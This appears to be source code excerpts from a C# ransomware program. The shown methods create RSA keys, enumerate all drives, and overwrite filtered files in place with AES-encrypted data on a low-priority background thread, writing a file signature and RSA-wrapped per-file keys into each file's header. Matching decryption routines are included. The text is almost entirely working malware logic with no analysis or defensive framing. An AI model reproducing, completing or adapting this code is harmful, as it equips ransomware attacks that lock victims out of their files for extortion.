/// <summary> /// Main Method /// </summary> /// <param name="args"></param> /// <returns></returns> static void Do(object operation) { #if DEBUG // Debug FingerPrint Generation string fp = null; ComputerIdStrategy.GenerateFP(ref fp); Trace.WriteLine("[+] System FingerPrint: " + fp); #endif // Handle Basic Files CriptoKeyManager.EnsureLocalPublicKey(); ThreadStart ts = null; // Handler Operation if ("E".Equals(operation)) { // Create ThreadStart With Handler ts = new ThreadStart(Enc); } else // D - Decryption { // Create ThreadStart With Handler ts = new ThreadStart(Dec); } // Initialize and Start Operation Thread Thread t = new Thread(ts); t.Priority = ThreadPriority.BelowNormal; t.IsBackground = true; t.Start(); t.Join(); // Result Message to UI if ("E".Equals(operation)) { // Update Status formMain.BeginInvoke(new SimpleStringDelegate(formMain.UpdateStatus), ConfigurationManager.MESSAGE_FEC); } else // Decryption { // Update Status formMain.BeginInvoke(new SimpleStringDelegate(formMain.UpdateStatus), ConfigurationManager.MESSAGE_FDC); } // Release Exit Button formMain.BeginInvoke(new SimpleDelegate(formMain.ReleaseExitButton)); }
/// <summary> /// Main Decryption Method /// </summary> public void DecryptDisk() { #if DEBUG Trace.WriteLine("[*] DecryptDisk"); #endif // Enumerate All Device Disks DriveInfo[] drives = DriveInfo.GetDrives(); // Force Generate Aes Engine CriptoKeyManager.RotateAesKey(); #if DEBUG Trace.WriteLine("[+] Drives Enumerated Successfully. " + drives.Length + " Drives Found"); #endif // Iterate Drivers foreach (DriveInfo drive in drives) { DecryptDrive(drive); } }
/// <summary> /// Load a Local Public Key OR Generate a New One /// </summary> public unsafe static void EnsureLocalPublicKey() { #if DEBUG Trace.WriteLine("[*] EnsureLocalPublicKey"); Trace.Indent(); #endif if (File.Exists(ConfigurationManager.LOCAL_PUB_KEY_NAME)) { #if DEBUG Trace.WriteLine("[+] Loading File"); #endif // Load Public Key Common.ReadFileToProtectedString(ConfigurationManager.LOCAL_PUB_KEY_NAME, ref PUBLIC_KEY); // Load Private key Common.ReadFileToProtectedString(ConfigurationManager.LOCAL_PRI_KEY_NAME, ref PRIVATE_KEY); } else { #if DEBUG Trace.WriteLine("[+] Creating New File"); #endif // Generate a New One CriptoKeyManager.GenRsaKeyPair(ref PRIVATE_KEY, ref PUBLIC_KEY); // Save Public Key Common.SaveProtectedStringIntoFile(ConfigurationManager.LOCAL_PUB_KEY_NAME, ref PUBLIC_KEY); #if DEBUG // Save Public Key (IN DEBUG MODE ONLY!!!!) Common.SaveProtectedStringIntoFile(ConfigurationManager.LOCAL_PRI_KEY_NAME, ref PRIVATE_KEY); #endif } #if DEBUG Trace.Unindent(); #endif }
/// <summary> /// Encrypt a Single File (In Thread Enviroment) /// </summary> /// <param name="file"></param> private void ThreadEncryptFile(FileInfo file) { // Simple Thread Wait Thread.Sleep(10); #if DEBUG Trace.WriteLine(""); Trace.WriteLine("[*] EncryptFile (" + file.Name + ")" + " ThreadID:" + Thread.CurrentThread.ManagedThreadId.ToString()); Trace.Indent(); #endif // Check File in Filter if (Common.FileInFilter(file.Extension)) { // File Signature Decision Gate if (!Common.CheckSignature(file)) { // Encrypt #if DEBUG Trace.WriteLine("[+] File to Encrypt"); #endif // Read File Data Byte[] fileData = null; FileManager.ReadFile(file, ref fileData); // Encrypt File using (FileStream fs = File.OpenWrite(file.FullName)) { fs.Position = 0; // Lock do Get Key and Rotate (with Proba) byte[] key = null; byte[] iv = null; lock (lockableObject) { // Rotate Key CriptoKeyManager.RotateAesKey(); // Copy Keys to Encrypt key = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length]; iv = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length]; Array.Copy(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV, iv, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length); Array.Copy(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY, key, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length); // Write Control Structure fs.Write(ConfigurationManager.FILE_SIGNATURE, 0, ConfigurationManager.FILE_SIGNATURE_SIZE); fs.Write(CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY.Length); fs.Write(CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV.Length); } fs.Flush(); // Write Encrypted Data CriptoFileManager.Encrypt(fs, ref fileData, ref key, ref iv); // Clear Array Common.ClearArray(ref key); Common.ClearArray(ref iv); } } else { #if DEBUG Trace.WriteLine("[+] File Alread Encrypted"); #endif } } else { #if DEBUG Trace.WriteLine("[+] File Filter not Allowed"); #endif } #if DEBUG Trace.Unindent(); #endif }
/// <summary> /// Decrypt a Single File /// </summary> /// <param name="file"></param> private void DecryptFile(FileInfo file) { #if DEBUG Trace.WriteLine(""); Trace.WriteLine("[*] DecryptFile (" + file.Name + ")"); Trace.Indent(); #endif // File Signature Decision Gate if (Common.CheckSignature(file)) { #if DEBUG Trace.WriteLine("[+] File to Decrypt"); #endif // Read File Data byte[] encryptedFileKey; byte[] encryptedFileIv; byte[] fileKey = null; byte[] fileIv = null; byte[] fileRawData = null; int keyStartIndex; int ivStartIndex; string tempFileName = file.FullName + ".wrk"; // Read File Data FileManager.ReadFile(file, ref fileRawData); // Compute Key Start Index keyStartIndex = ConfigurationManager.FILE_SIGNATURE_SIZE; // Get Key encryptedFileKey = new byte[CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY.Length]; Array.Copy(fileRawData, keyStartIndex, encryptedFileKey, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY.Length); // Compute IV Start Index ivStartIndex = keyStartIndex + encryptedFileKey.Length; // Get Iv encryptedFileIv = new byte[CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV.Length]; Array.Copy(fileRawData, ivStartIndex, encryptedFileIv, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV.Length); // Decrypt Key and Iv CriptoKeyManager.UnprotectSymmetricKey(ref encryptedFileKey, ref fileKey, ref encryptedFileIv, ref fileIv); // Decrypt File using (FileStream fs = File.Create(tempFileName)) { fs.Position = 0; // Write Encrypted Data CriptoFileManager.Decrypt(fs, ref fileRawData, ConfigurationManager.FILE_SIGNATURE_SIZE + encryptedFileKey.Length + encryptedFileIv.Length, fileKey, fileIv); } // Delete Old File file.Delete(); // Copy Temp File Into Old File File.Copy(tempFileName, file.FullName); // Remove Temp File File.Delete(tempFileName); } else { #if DEBUG Trace.WriteLine("[+] File is Not Encrypted"); #endif } #if DEBUG Trace.Unindent(); #endif }